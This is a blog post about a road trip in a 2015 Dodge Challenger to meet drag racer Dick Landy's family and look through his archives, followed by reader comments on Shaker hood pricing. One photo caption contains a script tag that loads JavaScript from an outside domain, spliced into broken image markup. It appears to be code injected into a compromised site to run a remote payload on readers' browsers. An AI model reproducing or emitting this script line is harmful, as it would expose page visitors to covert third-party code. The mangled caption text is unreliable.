Landy Legacy Tour, Part 2: California, Here I Come…

 

By Geoff Stunkard

 

As I worked my way west with the 2015 Challenger R/T Scat Pack, the mother road beckoned stops. In Texas, I found a vintage-car graveyard, complete with Mopars from the era of tail fins and chrome excess; somewhat hauntingly, it reminded me I was following paths blazed long ago. Old Route 66 and US40 intersect and become one in some locations, and with a chill in the air, I stopped off at a legendary steakhouse near Amarillo. It actually tied into the trip, as a major drag racing event was held nearby during the heyday of Dick Landy’s career, and racers unknown reportedly absconded with a large wooden Indian from this establishment as a souvenir following one of those events. The sheriffs were not happy…

 

(l to r) Robert Landy, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js' srcset= Danette Satenstein, Gean Landy, and Richard Landy with the 2015 Challenger R/T Scat Pack during my visit.” width=”1000″ height=”825″ />

 

California was my destination, and after four days on the road, I arrived at the home of Richard Landy, Dick Landy’s son, and his wife Peggy. Richard and I had known each other since one of his father’s cars, a 1967 Dodge R/T, had been restored by a friend of ours. Richard took time out of his schedule to help begin the work of looking through Dick’s archives for the book I am writing on Landy’s Dodges. Even before his teenage years, Richard had traveled the nation during the late 1960s with the race car transporters, setting up displays and helping with race preparation.

 

In fact, the whole family had been deeply involved in the factory effort, though wife Gean was normally found holding down the fort at home with their three young children. Mrs. Landy was even featured in some of the Dodge brand’s promotions back in the day. Between her, daughter Danette Satenstein and Richard, we had the chance to talk about the past, being joined later in the week by younger son Robert (who had worked in the engine shop at DLI – Dick Landy Industries – for much of his early life). We looked through numerous albums of press clippings and photos, old 35-mm slides, and various other artifacts, getting a larger picture of Dick Landy as the racer and promoter. Just as importantly, the family was able to remember him as their father, as some of the material was of family trips and holidays.

 

Several of Dick’s winning trophies and honors from his long career.

 

Whether on a drag strip, a dirt bike or a dealership showroom, Landy was the consummate professional. Dodge had chosen this representative wisely, and unlike others, Landy had remained part of the Dodge racing legacy and close friends with people at Chrysler for years after his sponsorship had passed. My research effort was augmented by new friendships made in the Golden State.

 

The HEMI® engines of today owe their legacy to Dandy Dick Landy, who made so much history in Darts, Chargers and Challengers in the heyday of the muscle car, and I was living it with this tour.

 

Among the memorabilia in storage was this never-before-opened 1970 Challenger ‘Scat City’ racing set.


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    The Scat Pack Shaker has been available for order since March 10, 2015. The Shaker option is $4,200.00…lots of options, etc. You won’t find it on the Dodge site Build & Price menu. That’s WTF! 🙂

    • SUBLIME
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      Yeah Tim, they finally put it on their Build & Price menu a few days after I posted this or they never would have. By the way, it is a $4,600 option and add another $1,100 to that if you don’t want the orange stitching for the seats, interior side panels, floor mats, etc. no matter what color the car is. They get cheaper by the year. I’ve got a 2010 plum crazy challenger and the stitching on the seats is purple. That’s what I mean by WTF. You also get the cheap black grill and gas cap with the Shaker…does that make sense…NO. There is no option to get chrome either. They are forcing us to keep our cars forever.

  • MOPAR MONTE
    Posted May 3, 2015 at 6:39 am | Permalink

    Well Thanks Tim, It seems MANY folks don’t understand the Concept of “IF YOU WANT TO PLAY,YOU’VE GOT TO PAY!!!” I can’t afford it, BUT, Mopar folks seem to find a way. Always have.

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      Mopar Monte, that is not the issue. You can buy a shaker hood setup from ma Mopar for $2,500 plus you get to keep your old hood. With the Shaker option from the factory, $8,500 (R/T) or $4,600 (R/T Scat Pack), you get one hood and they throw in the cheaper all black grill. It should be cheaper, not more expensive. Then they don’t funnel the air in correctly so there is no increase in horsepower. It just doesn’t seem right, however, if there are people dumb enough to pay that kind of cash for it then so be it. Make a profit while you can because another bankruptcy may finally sink the ship for good. Either way Mopar Rules!

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